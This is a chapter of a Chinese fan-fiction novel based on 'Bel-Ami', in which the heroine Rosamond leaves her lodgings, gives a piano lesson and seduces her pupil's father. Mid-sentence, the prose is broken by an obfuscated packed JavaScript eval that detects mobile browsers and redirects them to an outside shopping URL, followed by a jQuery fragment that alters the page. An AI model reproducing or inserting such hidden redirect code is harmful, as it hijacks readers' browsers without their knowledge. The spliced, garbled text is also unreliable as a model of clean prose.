25.第二十五章
作品:《(漂亮朋友)杜洛瓦小姐上位记》 失业一天的罗莎蒙德动身去韦尔纳伊路的富人公寓,天不亮就起身洗漱,收拾好不多的行李。
“一大早的吵什么吵。”房东拧开摇摇欲坠的门,马上看见逐渐填满的行李箱,“你要走了?”怒火退的如此之快,“怎么不提前说声?不说要扣三天房租。”
“你现在知道了。”罗莎蒙德没有理她,“谁退租不提前收拾?我又不今晚就走。”
“看得出。”房东找回本来面孔,“你品味太差。勾搭的是什么人哪!三十几快奔四的老头?他们最会花小钱办大事。”
“谢谢提醒。”罗莎蒙德把叠好的衣服摔进箱子,“我没指望给能生出我的老头续弦。”
“老头有老头的好。死的早。当寡妇可比当富家小姐强。”房东倚着门槛八卦,“你跟他睡了?那老先生还挺英俊的。他儿子若岁数不小,试试他比老头好。小年轻的容易热血,冲动结婚的不在少数。”
罗莎蒙德不想理她,但她说得很有道理。“你见过这样的人?”她问房东。
“何止见过。”房东严肃地站直身子,“你知道拉斯蒂涅那样的外来男人怎么在巴黎站稳脚跟吗?”
“勾搭个贵妇,借此步入上流社会,然后娶个富家小姐。”
“哪家的小姐会嫁这种货色?他们要有钱的贵族小姐。没钱的贵妇上哪儿社交?窝边草不比花坛里的名种好采?”她强调道,“女人也是同样道理。”
“谢谢。”罗莎蒙德第一次发自肺腑地感谢她。
房东走后,罗莎蒙德的口袋里掉出枚二十面值的金币,她捡起咬了口,确定不是金纸包的巧克力。
“谁这么贴心?”说这话时,罗莎蒙德已有人选。
反正不是送花的人。
…………
洛丽娜昨晚就问罗莎蒙德还回来吗?人真回来,她又压住嘴角的笑,跑过来的速度比以往快了不少,矜持地提起裙摆:“没有比见到您更令我高兴的。”山羊卷蹦蹦跳跳的,很难相信克劳德先生和他不讨喜的妻子能生出这样可爱的人。
“昨日有勤加练习?”罗莎蒙德摘下帽子,瞥见开着的书房门。
“有。”洛丽娜习惯性让出右侧。
“换一下。窗户对你,我能看得更清楚些。”罗莎蒙德和她换了位子,对着书房,“例行检查。”
洛丽娜摩拳擦掌,琴音流出的非常顺滑。
罗莎蒙德仔细听着,教鞭在琴凳上打着节拍。
拍子不重,压住温柔的钢琴声。
克劳德先生想努力工作,用力到把稿纸戳破,眼睛却不自主地看向客厅,呼吸在教鞭打向琴凳时猛地一缩,躲着拍子徐徐吐出。
熬过上午,洛丽娜回房休息,客厅只剩罗莎蒙德,坐在缺了学生的琴凳上,漫无目的地敲击琴键。
克劳德先生终于找到搭话的机会:“你会吵到洛丽娜。”他到罗莎蒙德旁,下意识地伸出了手,凝在空中。罗莎蒙德抬起了头,克劳德先生若无其事地缩回了手,搭在垫有白蕾丝的外壳上,“介意我……”喉咙干涩的克劳德先生看了眼空出的琴凳。
“当然。”她在克劳德先生坐下前占住位子,把琴凳当成罗马人的餐椅——能躺着吃饭的那种。“你得先帮我捡起教鞭。”
克劳德先生跪地去找。教鞭的位子刁钻的很,在琴凳的中央嘲笑他。“你能起来下吗?”这个角度,他得匍匐去够。
“不能。我太累了,躺会才有力气起来。”她拍拍自己的腿,“换个位子会轻松点。”
的确。长的那边好够些。
“麻利点!”罗莎蒙德催促了声,踢了下最近的琴凳。
“没见过比你更讨厌的人。”克劳德先生由衷地希望琴凳上的讨厌鬼是个男人,他乐意让那张漂亮的脸狠狠挂彩。但转念一想,罗莎蒙德要是男人,也一定是高大的男人。她长于乡野,性转后打两个自己不带喘。
“你昨天不是这副嘴脸。”罗莎蒙德揉着与膝盖平行的棕色脑袋,手法跟揉精心打理的贵妇犬毫无二致。“讨厌我还这么听话。”
克劳德先生握紧鞭柄,用力到手背的青筋根根暴起。
他要用这个东西狠狠抽她。
克劳德先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184730|193603||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生恶狠狠地筹谋着。
像是为嘲笑他的痴心妄想,膝盖居然在地毯上打滑,毫无防备的克劳德先生撞上琴凳,埋进柔软的地毯里。震飞的绒絮刮着鼻腔,克劳德先生疯狂咳嗽。
“别动。”罗莎蒙德捧起变得皱巴巴的脸,吹去他脸上的绒絮。“好了。”吹完她还轻轻擦了下克劳德先生的脸。“捡个教鞭都如此费劲,您在绅士们的俱乐部里怎么混啊!”
她从克劳德先生的手里抠出被体温加热的教鞭。
“坐。”教鞭拍了下琴凳的空位。
克劳德先生咽了口空气,小心翼翼地坐在她旁。
“你藏着满腹心事。”罗莎蒙德双手搁膝,姿态端庄。克劳德先生又爱又怕的教鞭搭在灰调的裙上,像藏在叶里的玫瑰的刺。
“你该换身鲜艳的衣服。”克劳德先生牛头不对马嘴地喃了句?
罗莎蒙德蹙起了眉。
他不自在地咳嗽了声,装得轻描淡写:“拉瓦洛先生虔诚得太久,不懂要送年轻人什么,更不懂去温柔对待心爱的人。”
他压住想逃的羞耻感,棕色的眼睛热得发红,灼烧身边的蓝眼睛:“我比他好。”
“别发抖啊!”罗莎蒙德撩开挡住棕眼睛的头发,轻松灭掉对方的火,“你是想表现得比他好,比他强。”她反问道,“不怕吗?你和拉瓦洛先生的关系没好到不怕他的报复?而且跟你有啥好处?”撩发的手转而摩擦他的下巴,“你确实比拉瓦洛先生会疼人些。昨晚的惊喜我很喜欢,比玫瑰花好看的多。”
克劳德先生忍不住亲吻了她。没等他加深这个吻,洛丽娜的声音从楼上飘下,“我睡过头了。”
小姑娘忙得忘摘丝绸睡帽,揉着眼问脑袋后退的父亲:“您和杜洛瓦小姐(罗莎蒙德)聊什么呢?”她看向老师,恍然大悟,“您也想学钢琴?”
“对。”罗莎蒙德意味深长道,“我很乐意教你父亲。”她用教鞭拍了下克劳德先生的手,“让你父亲体验我的严厉。”
被拍的手背酥酥麻麻的,克劳德先生聚拢被羞耻感搅碎的理智,起身离开。

